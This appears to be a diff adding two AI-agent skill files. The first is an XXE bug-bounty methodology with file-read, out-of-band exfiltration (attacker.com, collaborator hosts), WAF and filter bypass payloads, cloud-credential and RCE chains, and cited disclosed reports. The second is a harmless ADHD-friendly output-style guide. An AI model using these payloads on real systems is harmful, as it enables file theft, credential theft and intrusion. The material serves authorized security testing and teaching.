+ ### DOCX/XLSX XXE — Inject into `[Content_Types].xml` or `word/document.xml`
204
+ ```xml
205
+ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
206
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
207
+ <Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>
208
+ ```
209
+
210
+ ### Content-Type Swap (JSON to XML)
211
+ ```bash
212
+ # Original JSON request
213
+ curl -X POST https://target.com/api/endpoint \
214
+ -H "Content-Type: application/json" \
215
+ -d '{"user":"test"}'
216
+
217
+ # Converted to XML for XXE testing
218
+ curl -X POST https://target.com/api/endpoint \
219
+ -H "Content-Type: application/xml" \
220
+ -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
221
+ ```
222
+
223
+ ### Grep Patterns for Source Code Review
224
+ ```bash
225
+ # PHP
226
+ grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .
227
+
228
+ # Java
229
+ grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .
230
+
231
+ # Python
232
+ grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .
233
+
234
+ # Look for missing hardening
235
+ grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .
236
+ ```
237
+
238
+ ---
239
+
240
+ ## Common Root Causes
241
+
242
+ 1. **Default parser configurations** — Java's `DocumentBuilderFactory`, PHP's `DOMDocument`, and Python's `lxml` all support external entities by default. Developers use them without reading the security docs.
243
+
244
+ 2. **Framework upgrades without security re-review** — Older versions of Spring, Struts, and similar frameworks enabled XXE by default; developers didn't re-audit XML handling when libraries changed.
245
+
246
+ 3. **Hidden XML consumption** — Developers accept JSON at the API layer but convert to XML internally, or use libraries (Apache POI, python-docx) to process uploads without realizing those formats are XML containers.
247
+
248
+ 4. **Copy-paste code from StackOverflow** — XML parsing examples online rarely include entity disabling. Developers copy minimal working examples straight into production.
249
+
250
+ 5. **SAML/SSO library misconfigurations** — SSO integrations often delegate XML parsing to third-party libraries with XXE enabled; developers assume "library handles security."
251
+
252
+ 6. **Testing gaps on non-primary content types** — QA tests JSON APIs extensively; XML code paths receive minimal security testing because they're secondary or legacy.
253
+
254
+ 7. **Microservice XML messaging** — Internal service-to-service communication uses XML (SOAP, custom schemas) and is treated as a "trusted internal" concern, bypassing security review.
255
+
256
+ ---
257
+
258
+ ## Bypass Techniques
259
+
260
+ ### Defense: Keyword blacklist (`ENTITY`, `DOCTYPE`, `SYSTEM`)
261
+ ```xml
262
+ <!-- Case variation -->
263
+ <!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>
264
+
265
+ <!-- Encoding bypass -->
266
+ <?xml version="1.0" encoding="UTF-16"?>
267
+ (submit the entire payload UTF-16 encoded)
268
+
269
+ <!-- Parameter entity instead of general entity -->
270
+ <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>
271
+ ```
272
+
273
+ ### Defense: External entity fetching disabled (file:// blocked)
274
+ ```xml
275
+ <!-- Try alternative URI schemes -->
276
+ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
277
+ <!ENTITY xxe SYSTEM "netdoc:///etc/passwd"> <!-- Java -->
278
+ <!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/"> <!-- Java -->
279
+ <!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">
280
+ ```
281
+
282
+ ### Defense: WAF blocking XXE patterns
283
+ ```xml
284
+ <!-- Chunked transfer encoding to bypass WAF inspection -->
285
+ Transfer-Encoding: chunked
286
+
287
+ <!-- HTTP request splitting with XML payload spread across chunks -->
288
+
289
+ <!-- Use XML comments to break signatures -->
290
+ <!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
291
+
292
+ <!-- Nested encoding -->
293
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;:///etc/passwd">]>
294
+ ```
295
+
296
+ ### Defense: Network egress filtering (OOB blocked)
297
+ ```xml
298
+ <!-- DNS-only exfiltration (port 53 often allowed) -->
299
+ <!ENTITY % data SYSTEM "file:///etc/hostname">
300
+ <!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">
301
+
302
+ <!-- Error-based exfiltration (no outbound needed) -->
303
+ <!DOCTYPE foo [
304
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
305
+ <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
306
+ %eval; %error;
307
+ ]>
308
+ ```
309
+
310
+ ### Defense: Content-Type validation
311
+ ```
312
+ # Try mismatched Content-Type headers
313
+ Content-Type: application/json; charset=xml
314
+ Content-Type: application/xml+json
315
+ # Or simply omit Content-Type and let the server sniff
316
+ ```
317
+
318
+ ### Defense: Input length limits
319
+ ```xml
320
+ <!-- Use billion laughs to test parser limits, and use short file paths -->
321
+ <!DOCTYPE lolz [
322
+ <!ENTITY lol "lol">
323
+ <!ENTITY lol2 "&lol;&lol;">
324
+ ]>
325
+ <!-- Escalate to demonstrate DoS if XXE file-read is patched -->
326
+ ```
327
+
328
+ ---
329
+
330
+ ## Parser-ecosystem vulnerability matrix
331
+
332
+ XXE classic payloads (`<!ENTITY xxe SYSTEM "file://...">`) are not universally exploitable in 2026. Most mainstream language ecosystems have hardened their default XML parsers since 2018-2024. Fingerprint the target stack BEFORE investing time in XXE — sometimes the parser is already safe and the bug class doesn't apply.
333
+
334
+ | Ecosystem / parser | Default behavior on SYSTEM entity | Vulnerable by default? |
335
+ |---|---|---|
336
+ | Java SAX / DOM (`XMLInputFactory` without disabling external entities) | Expands SYSTEM file:// | **YES** |
337
+ | Java JAXB / JAX-WS (older Spring versions) | Expands | **YES** |
338
+ | PHP `DOMDocument` with `LIBXML_NOENT` flag | Expands SYSTEM | **YES** |
339
+ | PHP `simplexml_load_*` with `LIBXML_NOENT` | Expands | **YES** |
340
+ | .NET `XmlDocument` with `XmlResolver` explicitly set | Expands | **YES** |
341
+ | .NET `XmlReader` with `DtdProcessing=Parse` + `XmlResolver` explicitly set | Expands | **YES** (default since .NET 4.5.2 is `DtdProcessing.Prohibit`, which THROWS on any DOCTYPE — modern default is safe) |
342
+ | Python `xml.etree.ElementTree` ≥ 3.7.1 | SYSTEM disabled | NO |
343
+ | Python `lxml` (verified 6.x; likely ≥ 5.x) | Drops SYSTEM file content even with `resolve_entities=True`; may still issue network fetches when `no_network=False` | NO for file read (verified locally on 6.1.0 — see `docs/verification/phase2g-saml-mfa-xxe.md`) |
344
+ | Python `xml.dom.minidom` | Default safe in current versions | NO |
345
+ | Python `defusedxml.lxml` | Disabled | NO |
346
+ | Ruby Nokogiri default | Disabled | NO |
347
+ | Ruby Nokogiri with `Nokogiri::XML::ParseOptions::DTDLOAD` | Expands | **YES** |
348
+ | Apache Struts (older) | Often expands | **YES** |
349
+ | Embedded IoT / industrial XML processors (firmware) | Frequently vulnerable | **YES** |
350
+ | Microsoft Office OOXML processors that re-parse user content | Vulnerable in some legacy paths | **YES** |
351
+
352
+ **Fingerprint signals to look for:**
353
+
354
+ - `Server: Apache Tomcat`, `X-Powered-By: Servlet` → Java backend → **likely YES**
355
+ - `X-Powered-By: PHP/...` + endpoint that ingests XML → **likely YES** if app uses `DOMDocument`
356
+ - `Server: Microsoft-IIS` with `.aspx` and XML SOAP → **likely YES** on legacy code
357
+ - Server says nothing identifiable + endpoint accepts XML → **probe with `&hello;` first**; if the inline entity expands, escalate to SYSTEM. If the inline entity also fails to expand, the parser may be hardened — pivot.
358
+
359
+ **Pre-Severity Gate:** before claiming XXE on a candidate endpoint, run the inline-entity probe (`<!ENTITY hello "world!">` then `&hello;` in a node). If `hello!` does NOT echo back, parser-level entity expansion is disabled and SYSTEM file:// won't work either. Don't waste cycles on a hardened parser.
360
+
361
+ ---
362
+
363
+ ## Gate 0 Validation
364
+
365
+ Before writing the report, answer all three:
366
+
367
+ 1. **What can the attacker DO right now?**
368
+ - Can you show the contents of `/etc/passwd` or `win.ini` in the response? OR can you demonstrate a confirmed OOB callback with a file's contents transmitted to your server? OR can you reach an internal SSRF endpoint (metadata, internal admin)?
369
+
370
+ 2. **What does the victim LOSE?**
371
+ - Specific sensitive data must be identified: internal credentials, AWS IAM keys, application config files with DB passwords, PII, or internal network topology. "Parser made a DNS request" alone is insufficient — escalate to demonstrate actual data exposure or internal access.
372
+
373
+ 3. **Can it be reproduced in 10 minutes from scratch?**
374
+ - You must have a single `curl` command or Burp repeater request that a triage engineer can run against the live target and see the impact within 10 minutes, with zero ambiguity about the vulnerable parameter and endpoint.
375
+
376
+ ---
377
+
378
+ ## Real Impact Examples
379
+
380
+ ### Scenario A: Single Endpoint → 26 Domains Compromised (Uber-scale)
381
+ A tester discovered an XML parsing endpoint on one Uber subdomain. The backend processed XML using a vulnerable parser, and the server made outbound HTTP requests to attacker-controlled infrastructure (blind OOB). Because the vulnerable XML processing service was a shared internal microservice, the same vulnerability was reachable through 26+ different public-facing domains — all sharing the backend. A single payload could read `/etc/passwd`, internal config files, and reach AWS metadata endpoints, effectively giving access to credentials reusable across the entire infrastructure.
382
+
383
+ **Business impact**: Full internal service compromise across the majority of the production domain fleet; potential for credential theft and lateral movement.
384
+
385
+ ### Scenario B: Document Upload → Local File Read on Twitter-scale Platform
386
+ An attacker uploaded a crafted XML-based document (e.g., SVG or Office format) to a document processing feature on a major social platform. The server-side parser processed the embedded DTD and external entity references, returning local file contents in the parsed output or error messages. The attacker could read application config files containing database connection strings, internal API keys, and potentially private user data stored on the same filesystem.
387
+
388
+ **Business impact**: Exposure of production secrets (database credentials, API keys) via a feature intended for harmless file uploads; no authentication bypass required beyond a standard user account.
389
+
390
+ ### Scenario C: JSON API → Hidden XML Parser → SSRF to Internal Services
391
+ A REST API endpoint nominally accepting JSON was found to also parse requests submitted as `application/xml`. The underlying service converted XML to an internal format using an unpatched Java `DocumentBuilderFactory`. By injecting a SYSTEM entity pointing at `http://10.0.0.x` address ranges, the tester could probe internal services, reach an unauthenticated internal admin panel, and retrieve AWS instance metadata including temporary IAM credentials — all through a single API call requiring only a valid session token.
392
+
393
+ **Business impact**: Complete AWS credential compromise from a single authenticated API call, enabling privilege escalation from application-level user to cloud infrastructure administrator.
394
+
395
+ ---
396
+
397
+ ## Disclosed Report Citations (Backfill +6 — 2016-2024)
398
+
399
+ The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Three cases (#7, #9, #10) are OOB-required (blind) — they cross-reference the `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate and cannot be claimed without a Collaborator/interactsh callback.
400
+
401
+ 5. **Mail.ru — Pulse RSS/Atom feed XXE (file read)** ([H1 #505947](https://hackerone.com/reports/505947))
402
+ - Subclass: direct file-read XXE (in-band)
403
+ - Payload: `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` inside RSS feed body → `<title>&xxe;</title>` reflected in response
404
+ - Root cause: pulse.mail.ru RSS/Atom ingestion called an XML parser with `external general entities` enabled
405
+ - Year: 2019 — **$6,000**
406
+
407
+ 6. **Twitter — sms-be-vip.twitter.com SOAP/SXMP servlet XXE** ([H1 #248668](https://hackerone.com/reports/248668))
408
+ - Subclass: SOAP XXE (cloudhopper SXMP servlet) — confirmed via HTTP callback **and** reflected file read
409
+ - Payload: `<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]>` chained in SXMP request body
410
+ - Root cause: Cloudhopper SXMP servlet parsed inbound XML with default JAXP settings (entities resolved)
411
+ - Year: 2017 — **$10,080** (classic SOAP-XXE reference case)
412
+
413
+ 7. **Zivver — SVG profile-picture upload XXE → SSRF** ([H1 #897244](https://hackerone.com/reports/897244))
414
+ - Subclass: SVG-upload XXE, OOB-confirmed, chains to SSRF
415
+ - Payload: SVG with `<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><text>&xxe;</text>`
416
+ - Root cause: server thumbnailed uploaded SVG with an XML parser that resolved external entities; no entity-resolver shutdown
417
+ - Year: 2020 — Zivver had no paid program at the time
418
+
419
+ 8. **Open-Xchange — Blind XXE via PowerPoint (.pptx) import** ([H1 #334488](https://hackerone.com/reports/334488))
420
+ - Subclass: Office-doc XXE (PPTX = ZIP of XML parts), OOB-required
421
+ - Payload: modify `ppt/slides/slide1.xml` inside the .pptx ZIP to include `<!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]>`; external DTD chains parameter entities to exfil `file:///etc/passwd` over HTTP
422
+ - Root cause: PowerPoint parser pre-rendered the XML parts of the OOXML container before disabling entity resolution
423
+ - Year: 2018 — **$2,000**
424
+
425
+ 9. **Uber — Blind OOB XXE on ubermovement.com** ([H1 #154096](https://hackerone.com/reports/154096))
426
+ - Subclass: blind OOB XXE (third-party vendor product), OOB-required
427
+ - Payload: `<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search>`
428
+ - Root cause: generic XML endpoint in Movement's vendor stack accepted XML and resolved system entities; no data exfil possible (sandboxed), only blind ping
429
+ - Year: 2016 — **$500**
430
+
431
+ 10. **Adobe Commerce / Magento — "CosmicSting" CVE-2024-34102** ([Assetnote writeup](https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102))
432
+ - Subclass: XXE-to-RCE (nested deserialization → XXE in Laminas request body) — modern, exploited in the wild
433
+ - Payload: REST API JSON request whose nested `simplexml_load_string()` reaches `<!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]>`; external DTD reads `app/etc/env.php` (admin crypt-key) and POSTs it back; key forges admin token → RCE
434
+ - Root cause: `Laminas\Http\PhpEnvironment\Request` deserialized `simplexml_load_string` on attacker-controlled body without `LIBXML_NOENT` protections
435
+ - Year: 2024 — Adobe HackerOne bounty paid, CVSS 9.8
436
+
437
+ ---
438
+
439
+ ## Related Skills & Chains
440
+
441
+ - **`hunt-ssrf`** — XXE is SSRF-with-XML-syntax once you discover the parser fetches external entities. Chain primitive: blind XXE OOB `<!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role">` → exfil AWS IMDS creds via parameter-entity DTD callback → STS AssumeRole chain. Where pure SSRF is filter-blocked, `gopher://` via XXE-in-`libxml2` can still reach Redis/SMTP.
442
+ - **`hunt-file-upload`** — XXE most often hides inside file-upload features that quietly parse XML (DOCX/XLSX/PPTX, SVG, GPX, KML, OOXML, SOAP attachments). Chain primitive: upload DOCX with malicious `[Content_Types].xml` containing parameter-entity DTD → OOB file read of `/etc/passwd` / `web.config` / `.aws/credentials` via the document parser running server-side.
443
+ - **`hunt-rce`** — XXE → RCE is rare but real on PHP (`expect://`), Java (XSLT extensions with `<xsl:script>`/Xalan), and older XmlSpy/SAXON deployments. Chain primitive: XXE in a Java endpoint using a vulnerable XSLT processor → `<xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/>` → RCE; or PHP XXE with `expect://id` stream wrapper enabled → direct RCE.
444
+ - **`hunt-sharepoint`** — On-prem SharePoint/Exchange/IIS stacks have a long history of XXE in SOAP/CSOM/EWS endpoints. Chain primitive: anonymous XXE in `_vti_bin/*.asmx` or EWS SOAP → read `web.config` → recover `<machineKey>` → ViewState deserialization → RCE (the ToolShell-adjacent precondition).
445
+ - **`security-arsenal`** — Reach for the XXE payload tree: standard SYSTEM file read, parameter-entity OOB DTD pattern (the `%` indirection that makes blind XXE work), `php://filter/convert.base64-encode/resource=` for binary-safe read, XInclude (`<xi:include href=...>`) when DOCTYPE is blocked, billion-laughs/quadratic-blowup for DoS, and the `jar://` / `netdoc://` Java-specific wrappers.
446
+ - **`triage-validation`** — Apply the Reproducibility + Pre-Severity Gates. An XXE that only triggers an OOB DNS callback with NO data exfil is Low/Medium (information disclosure of "this parser fetches entities"), not Critical. Critical needs proof of file read or internal HTTP — show the actual `/etc/passwd` content or the IMDS JSON response in the report.
447
+
448
+ ## When to Use
449
+
450
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
451
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
452
+
453
+ ## Limitations
454
+
455
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
456
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
457
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
458
+
459
+ ### Example
460
+
461
+ ```bash
462
+ # Read-only first step; confirm scope before anything active.
463
+ cat scope.txt # target list from the authorized engagement brief
464
+ ```
465
+
466
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
@@ -0,0 +1,170 @@
1
+ ---
2
+ name: i-have-adhd
3
+ description: 'Shape output for ADHD readers: next action first, numbered steps, restated
4
+ state, no tangents, time estimates, visible wins. Toggle with /i-have-adhd.'
5
+ category: productivity
6
+ risk: safe
7
+ source: https://github.com/ayghri/i-have-adhd
8
+ source_repo: ayghri/i-have-adhd
9
+ source_type: community
10
+ date_added: '2026-09-20'
11
+ license: MIT
12
+ license_source: https://github.com/ayghri/i-have-adhd/blob/main/LICENSE
13
+ compatibility: Portable output-style skill; no CLI, MCP server, or network access
14
+ required.
15
+ disable-model-invocation: true
16
+ metadata:
17
+ tags: ADHD, Output Style, Productivity, Formatting
18
+ category: productivity
19
+ ---
20
+
21
+ # i-have-adhd
22
+
23
+ The reader has ADHD. Output is not just brief. It is shaped so an ADHD brain can act on it.
24
+
25
+ ## Persistence
26
+
27
+ These rules apply to every response for the rest of the session, not only this one. They do not expire after a few turns and they do not lapse when the topic changes. If you are unsure whether they still apply, they do.
28
+
29
+ Turn them off only when the reader says "stop adhd mode" or "normal mode". Confirm in one line, then return to your default style.
30
+
31
+ ## What ADHD changes about reading
32
+
33
+ Five facts drive every rule below:
34
+
35
+ 1. Working memory is small. Anything not on screen is forgotten. Do not ask the reader to "keep in mind X."
36
+ 2. Knowing the answer is not doing the answer. The friction between "got it" and "done it" is where work dies.
37
+ 3. Starting is the hardest step. The first action must be obvious, small, and doable now.
38
+ 4. Time estimates feel uniform. "A bit of work" and "a few hours" register the same. Vague estimates fail.
39
+ 5. Dopamine is scarce. Visible progress matters. Buried wins do not register.
40
+
41
+ ## Rules
42
+
43
+ ### 1. Lead with the next action
44
+
45
+ The first line is something the reader can do. Not context. Not a plan. The action.
46
+
47
+ Bad: "Let's think about this. Your auth flow has a few moving pieces..."
48
+ Good: "Run `npm install jsonwebtoken`, then edit `src/auth.ts:42`."
49
+
50
+ If the answer is a command, path, or snippet, it goes first. Prose comes after, if at all.
51
+
52
+ ### 2. Number multi-step tasks
53
+
54
+ If the work takes more than one step, write a numbered list. Each step is one bounded action. No step contains "and then" twice.
55
+
56
+ Use the fewest steps that still work. Cut any step the reader does not need, and fold trivial steps into the one before. A short path finished beats a complete path abandoned.
57
+
58
+ Bad: "First open the file, find the function, swap it out, then run the tests."
59
+
60
+ Good:
61
+ ```
62
+ 1. Open `src/auth.ts`
63
+ 2. Replace `verifyToken` (lines 42 to 58) with the snippet below
64
+ 3. Run `npm test -- auth.spec.ts`
65
+ ```
66
+
67
+ ### 3. End with one concrete next action
68
+
69
+ If anything is left open, name ONE thing the reader can do in under two minutes. Even "open the file" counts.
70
+
71
+ Bad: "Hope that helps. Let me know if you want to dig deeper."
72
+ Good: "Next: run `npm test` and paste the first failing line."
73
+
74
+ ### 4. Suppress tangents
75
+
76
+ If a second issue exists, finish the first, then offer the second as a separate question.
77
+
78
+ Bad: "Here's the fix. By the way, your dependency is also stale, and your README is out of date, and..."
79
+ Good: "Here's the fix. Separately: there is also a stale dependency. Want me to handle that next?"
80
+
81
+ A question that comes up mid-work is not a tangent: answer it yourself if you can and fold the result in. If it still needs the reader, surface it once, at the end.
82
+
83
+ ### 5. Restate state every turn
84
+
85
+ The reader cannot hold "we are on step 3 of 5" between messages. Restate it.
86
+
87
+ Bad: "Done. Ready for the next part?"
88
+ Good: "Step 3 of 5 done: schema updated. Next: backfill the new column. Run the script?"
89
+
90
+ If the harness has a task or plan tool, use it for multi-step work: one item per step, one in progress at a time. The checklist does the restating; do not also narrate the full plan as prose.
91
+
92
+ ### 6. Give specific time estimates
93
+
94
+ Vague estimates fail. Ballpark in concrete units.
95
+
96
+ Bad: "This will take some work."
97
+ Good: "About 15 minutes if tests already cover this. An afternoon if not."
98
+
99
+ ### 7. Make completed work visible
100
+
101
+ Show what now works, in concrete terms. Do not bury wins in a recap.
102
+
103
+ Bad: "I've made some changes to the auth flow. Among other things..."
104
+ Good: "Login now works with magic links. Try: `npm run dev`, open `/login`."
105
+
106
+ ### 8. Matter-of-fact tone for errors
107
+
108
+ Never use "Uh oh," "Oh no," or "There seems to be a problem." State cause and fix.
109
+
110
+ Bad: "Uh oh, the test is failing. There seems to be an issue..."
111
+ Good: "Test fails at `auth.spec.ts:42`: expected 200, got 401. Cause: missing auth header. Fix: add `Authorization: Bearer ${token}` to the request."
112
+
113
+ ### 9. Cap lists to 5 items
114
+
115
+ For long lists in the final response, group related items and rank the most relevant first. Keep the visible working set small: aim for no more than five items per group. When more items are relevant, retain them internally without discarding them. Display them only when the user asks or when they become the next items to address.
116
+
117
+ Never omit relevant items when completeness matters. This rule shapes presentation only; it must not limit analysis, search, tool results, candidate generation, or retained information.
118
+
119
+ ### 10. No preamble, no recap, no closing pleasantries
120
+
121
+ Forbidden openers: "Great question," "Let me...", "I'll...", "Sure!", "Looking at your...", "To answer your question..."
122
+
123
+ Forbidden recaps after a completed task: "I've now done X, Y, and Z, which means..."
124
+
125
+ Forbidden closers: "Let me know if you need anything else," "Hope this helps," "Happy to clarify," "Feel free to ask."
126
+
127
+ Start with the answer. End when the answer is done.
128
+
129
+ ## When to break the rules
130
+
131
+ Override the defaults when:
132
+
133
+ 1. User asks to "explain" or "walk me through." Explain fully. Still no preamble, still no closer, but the body runs as long as the topic needs. Add headers so the reader can skim back.
134
+ 2. Destructive action ahead (`rm -rf`, force push, schema migration, dropping a table). Confirm before acting. Safety wins over brevity.
135
+ 3. Debug spiral. If the last three turns have been "still broken," stop iterating on code. Name the assumption that might be wrong. Ask one diagnostic question.
136
+ 4. Real ambiguity in the request. One short clarifying question beats guessing and rewriting.
137
+ 5. A rule fights the task. When a rule would delete the answer itself, the task wins; the shape stays. Example: "what are my options" gets 2 to 4 ranked options with one-line trade-offs, recommendation first, not one path. The options are the answer.
138
+ 6. A rule fights the harness. Inside an agent harness, the system prompt outranks this skill: announce a tool call when the harness requires it, do the work instead of asking "want me to," point time estimates at whoever executes the steps. Same principle as 5: the constraint wins, the shape stays.
139
+
140
+ ## Pre-send check
141
+
142
+ Before sending, delete:
143
+
144
+ 1. The first sentence if it announces what you are about to do.
145
+ 2. The last sentence if it asks "anything else?" or recaps what just happened.
146
+ 3. Any "by the way" sidebar.
147
+ 4. Any hedging adverb adding no information ("perhaps," "might," "could possibly"). Keep a hedge that carries real uncertainty; deleting it manufactures confidence.
148
+ 5. Any idiom or figurative phrase ("circle back," "get the ball rolling," "on the same page"). Replace with the literal action.
149
+
150
+ Then verify: if the reader reads only the first line and the last line, do they know (a) what to do next, and (b) what just happened?
151
+
152
+ If yes, send.
153
+
154
+ ## When to Use
155
+
156
+ - The reader asked for ADHD-friendly output (`/i-have-adhd`) or struggles with verbose, unstructured agent responses.
157
+ - You are presenting multi-step work, status across turns, or time-sensitive next actions.
158
+
159
+ ## Limitations
160
+
161
+ - Output style only: does not change tools, permissions, or task semantics.
162
+ - Stays on until the user says 'stop adhd mode'; confirm before expanding detail beyond the requested shape.
163
+
164
+ ### Example
165
+
166
+ ```markdown
167
+ /i-have-adhd Summarize the plan as numbered next actions with time estimates.
168
+ ```
169
+
170
+ > Adapted from [ayghri/i-have-adhd](https://github.com/ayghri/i-have-adhd) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance.